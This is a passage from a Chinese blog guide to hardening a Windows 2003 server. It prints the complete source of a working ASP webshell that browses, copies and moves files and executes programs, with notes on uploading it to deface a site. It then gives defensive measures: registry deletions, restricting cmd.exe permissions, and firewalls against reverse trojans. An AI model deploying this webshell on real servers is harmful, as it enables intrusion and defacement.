(图
25
)
你可以通过这个免
FSO
支持的
ASP
木马对服务器上的文件进行任意的复制及移动
和执行程序,这个木马程的功能随然简单,但是用它来黑一个网站就是已经足够的了。比如,我们可以把网站的首页移动到其它地方,然后我们再复制一个同名的黑客网页进去就行了。使用执行程序功能让服务器执行任意的木马程序以取得服务器的
ADMIN
管理权等。
以下我给出这个免
FSO
对像的
ASP
源代码,代码如下:
<%response.write “<font size=6 color=red>
一次只能执行一个操作
:)</font>” %>
<%response.write now()%><BR>
程序所在的物理路径:
<%response.write request.servervariables(”APPL_PHYSICAL_PATH”)%>
<html>
<title>asp’s shell.application backdoor </title>
<body>
<form action=”<%= Request.ServerVariables(”URL”) %>” method=”POST”>
<input type=text name=text value=”<%=szCMD %>”>
输入要浏览的目录
<br>
<input type=text name=text1 value=”<%=szCMD1 %>”>
copy
<input type=text name=text2 value=”<%=szCMD2 %>”><br>
<input type=text name=text3 value=”<%=szCMD3 %>”>
move
<input type=text name=text4 value=”<%=szCMD4 %>”><br>
路径:
<input type=text name=text5 value=”<%=szCMD5 %>”>
程序:
<input type=text name=text6 value=”<%=szCMD6 %>”><br>
<input type=submit name=sb value=
发送命令
>
</form>
</body>
</html>
<%
szCMD = Request.Form(”text”) ‘
目录浏览
if (szCMD <> “”) then
set shell=server.createobject(”shell.application”) ‘
建立
shell
对象
set fod1=shell.namespace(szcmd)
set foditems=fod1.items
for each co in foditems
response.write “<font color=red>” & co.path & “―�C” & co.size & “</font><br>”
next
end if
%>
<%
szCMD1 = Request.Form(”text1″) ‘
目录拷贝,不能进行文件拷贝
szCMD2 = Request.Form(”text2″)
if szcmd1<>”" and szcmd2<>”" then
set shell1=server.createobject(”shell.application”) ‘
建立
shell
对象
set fod1=shell1.namespace(szcmd2)
for i=len(szcmd1) to 1 step -1
if mid(szcmd1,i,1)=”\” then
path=left(szcmd1,i-1)
exit for
end if
next
if len(path)=2 then path=path & “\”
path2=right(szcmd1,len(szcmd1)-i)
set fod2=shell1.namespace(path)
set foditem=fod2.parsename(path2)
fod1.copyhere foditem
response.write “command completed success!”
end if
%>
<%
szCMD3 = Request.Form(”text3″) ‘
目录移动
szCMD4 = Request.Form(”text4″)
if szcmd3<>”" and szcmd4<>”" then
set shell2=server.createobject(”shell.application”) ‘
建立
shell
对象
set fod1=shell2.namespace(szcmd4)
for i=len(szcmd3) to 1 step -1
if mid(szcmd3,i,1)=”\” then
path=left(szcmd3,i-1)
exit for
end if
next
if len(path)=2 then path=path & “\”
path2=right(szcmd3,len(szcmd3)-i)
set fod2=shell2.namespace(path)
set foditem=fod2.parsename(path2)
fod1.movehere foditem
response.write “command completed success!”
end if
%>
<%
szCMD5 = Request.Form(”text5″) ‘
执行程序要指定路径
szCMD6 = Request.Form(”text6″)
if szcmd5<>”" and szcmd6<>”" then
set shell3=server.createobject(”shell.application”) ‘
建立
shell
对象
shell3.namespace(szcmd5).items.item(szcmd6).invokeverb
response.write “command completed success!”
end if
%>
你只要把上面的代码写在记事本里,保存扩展名为
.ASP
,再传到你的虚拟主机空间就可以运行了。
防范免
FSO
支持的
ASP
木马方法如下:
通过上面的代码,我们可以看出这段代码的
SHELL
是通过
shell.application
建立
shell
对像的,我们只要在注册表里查找键值
shell.application
和
wscript.shell
键值,然后把这些键值删除,就能防止这一类的
ASP
木马攻击了,删除这些键值对你的服务器及
ASP
支持等不会造成影响的,所以请放心删除。
各黑客网站上还有各种各样的
WEBSHELL
下载,除了
ASP
的
WEBSHELL
以外,还有
CGI
、
PHP
、
JSP
的等等。基本上都是大同小异的,还有一些
WEBSHELL
是调用系统下的
CMD.EXE
命令运行的。但这些调用服务器系统
CMD.EXE
的
WEBSHELL
木马在
Win2003
下没法运行了,能调用
CMD.EXE
命令的
WEBSHELL
只在
Win2K
下测试通过,在
Win2003
下,那些
ASP
、
CGI
、
PHP
、
JSP
的
WEBSHELL
已经不能调用
CMD.EXE
的命令了。原因很简单,因为
Win2K
下的
CMD.EXE
命令在默认情况下是能以匿名及来宾权限访问的,而
Win2003
系统下,
CMD.EXE
命令却禁止了“
Everyone
”匿名访问及“
Guests
”组的访问权限了,所以各种调用
CMD.EXE
的
WEBSHELL
木马都没法运行了,这也算是
Win2003
系统安全上的一点进步吧。
十一、配置一台安全的服务器,把各种溢出攻击、反向连接木马拒于门外:
上一节中,我们谈到了有些
WEBSHELL
能通过调用系统的
CMD.EXE
命令在服务器上运行
CMD
命令,我们再细想一下,现在网络上流行的溢出攻击,如
WEBDAV
溢出等不就是对存有溢出漏洞的服务器进行溢出攻击的吗?攻击成功后,被溢出的服务器就会自动绑定服务器的
CMD.EXE
命令,黑客就会远程连接被溢出成功的服务器的
CMD.EXE
命令行。以取得远程服务器的系统管理权。
既然黑客的溢出攻击是通过溢出攻击工具溢出成功后绑定
CMD.EXE
命令并以
SYSTEM
系统权限登陆服务器的,只要我们对
Win2003
系统下的
C:\WINDOWS\SYSTEM32\CMD.EXE
文件设置一定的权限,呵呵,那么黑客的这些溢出攻击都将没用武之地了。为了安全起见,我们还要对如
net.exe cacls.exe telnet.exe tftp.exe ftp.exe format.com mountvol.exe mshta.exe
等危险的命令作出权限设置。因为这些危险的文件默认的情况下都是允许
SYSTEM
权限的用户访问及执行的,只有为这些文件设置了权限,这样才能确保服务器系统真正的安全。这些危险的文件默认的情况下,都是存放在
C:\WINDOWS\SYSTEM32
的目录下的。设置权限的方法如下图(图
26
)所示:
(
图
26)
清除原来的所有其它用户访问这些命令的权限,然后只设置允许你正在使用的超级用户拥有使用这些命令的权限,比如说你正在使用的超级用户名是
administrator
那么,你就在权限设置里只允许用户名为
administrator
的用户使用这些命令。
通过这些安全配置,以后你的服务器就算存在溢出漏洞,就算黑客对你的服务器进行溢出攻击成功,黑客也没法登陆你的服务器的了,因为一般黑客的溢出攻击都是通过绑定远程被溢出攻击服务器的系统
CMD
命令登陆的,并且是以
SYSTEM
权限登陆,而你在
CMD
的使用权限里删除了所有用户的使用
CMD
权限,只有你正在使用的超级管理员帐号才能拥有这个
CMD
命令的使用权,所以黑客就算溢出成功了,也没法远程连接并登陆你的服务器了。通过最简单的安全配置,就能防范多种未知及已知的溢出攻击,是不是很实用呢!:)
但这只能是相对的安全,因为有些溢出攻击黑客能直接把反向连接的木马文件传到你的服务器上,并能运行哦。呵呵,如最近出现的
Serv-U
溢出,如果你的
FTP
服务器使用了
Serv-U
的话,你又没有打上最新的安全补丁,让黑客溢出成功了,那么黑客可以不绑定你的
CMD
命令登陆你的服务器,而是给你服务器传一个反向连接的木马后门,这种反向连接的后门是通过你的服务器向黑客的机器连接,而黑客只要在自己的机器监听,只要你的服务器中了这种后门,那么就算你的服务器安装了防火墙,并屏蔽了所有不使用的端口,黑客不能正向与你的服务器联接木马后门,但黑客给你传一个反向连接的木马,这个木马是通过你的服务器连接黑客的机器的,只要你的服务器向黑客的机器发出连接请求,黑客就能取得你服务器的控制权,而这种反向木马攻击可以完全不依赖于
Win2003
系统下的
CMD.EXE
。可以反向连接木马的危害性。
那么我们如何防止这一类的反向木马攻击呢?方法很简单,那就是安装一个具有防止反向连接木马的防火墙,如天网及金山网镖等防火墙。都是具有防止反向连接功能的,因为这些防火墙都有应用程序访问网络权限设置功能。服务器上的任何一个程序要访问网络,都会弹出一个警告窗口,必须要服务器的管理员同意允许该应用程序访问网络后,这些程序才能访问网络,这项功能正好用于防范反向木马。下面举一个例子,如你的服务器安装了天网防火墙,如黑客成功溢出了你的
Serv-U
服务器,并给你传了一个反向连接的后门木马,这个后门木马在你的服务器的
C:\MM.EXE
,黑客所在
IP
地址是
192.168.0.18
,现在黑客要对你服务器的这个反向连接木马进行连接,只要黑客在你服务器上运行了这个反向木马,那么你的天网防火墙就会弹出一个警告窗口,如下图(图
27
)所示:
(图
27
)
通过上述配置,我们的服务器已经能抵挡目前已知及未知的任何溢出攻击了,当然这些对于服务器安全来说还不够的,我们还要屏蔽掉一些我们不使用的服务端口,方法很简单,在桌面上右键点击“网上邻居”图标,出现一菜单,选择“属性”,这时弹出一个“网络连接”的窗口,找到“本地连接”再点击鼠标右键,选择“属性”,弹出“本地连接属性“窗口,选择“
Internet
协议(
TCP/IP
)”再点击“属性”按钮,弹出“
Internet
协议(
TCP/IP
)属性”窗口,点击“高级(
V
)”按钮,出现“高级
TCP/IP
设置”窗口,选择“选项”标签,再点击“属性(
P
)”按钮,这时弹出一个“
TCP/IP
筛选”对话框,在这个窗口里设置你需要开放服务的端口。如
FTP
服务需要开放
21
端口,
WWW
服务需要开放
80
端口,
SMTP
服务需要开放
25
端口,
POP3
服务需要开放
110
端口,终端服务需要开放
3389
端口,
MYSQL
数据库需要开放
3306
端口……
如下图(图
28
)所示:
(图
28
)
只要你通过了本文所述的方法配置你的服务器,你的服务器将会是一台稳若金汤的服务器,目前网络上流行的溢出攻击及一些未知的溢出等攻击方法,各种
ASP
、
ASPX
、
CGI
、
PHP
、
JSP
的
WEBSHELL
攻击等在你的服务器里也没用武之地。
转自:[url]http://www.it99.com/blog/article.asp?id=302[/url]
ysm503379130 |
1人
|
了这篇文章 |
类别: Windows┆阅读(
0)┆评论(
0) ┆ 返回博主首页┆ 返回博客首页
上一篇 windows2003安全配置<一> 下一篇 如何探测网络上非法的 DHCP 服务器